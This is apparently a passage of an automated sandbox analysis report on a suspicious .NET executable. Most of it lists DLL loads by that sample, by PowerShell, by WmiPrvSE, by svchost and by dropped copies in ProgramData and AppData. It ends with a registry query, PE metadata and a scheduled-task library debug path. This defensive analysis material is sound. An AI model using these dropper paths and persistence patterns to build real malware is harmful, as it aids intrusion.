Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Section loaded: mstask.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: version.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: wldp.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: amsi.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: userenv.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: profapi.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: msasn1.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: gpapi.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: mstask.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: textinputframework.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: coreuicomponents.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: coremessaging.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: coremessaging.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: wsock32.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: dnsapi.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: rasadhlp.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: version.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: wldp.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: amsi.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: userenv.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: profapi.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: msasn1.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: gpapi.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: mstask.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: textinputframework.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: coreuicomponents.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: coremessaging.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: coremessaging.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\colsv\qxdc.exe	Section loaded: wintypes.dll

Source: C:\Users\user\Desktop\Opdxdyeul.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Opdxdyeul.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Opdxdyeul.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Opdxdyeul.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Opdxdyeul.exe, 00000000.00000002.2369811450.00000000047D9000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2338555032.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2392088459.00000000061D0000.00000004.08000000.00040000.00000000.sdmp, qxdc.exe, 00000008.00000002.2480913690.000000000333B000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 0000000E.00000002.2571975141.0000000002D4D000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2655007606.0000000002D6F000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2684912235.0000000003AE3000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2818927936.0000000002C5E000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2845417049.0000000003B92000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3414550975.0000000002E5D000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3444876134.0000000003D82000.00000004.00000800.00020000.00000000.sdmp
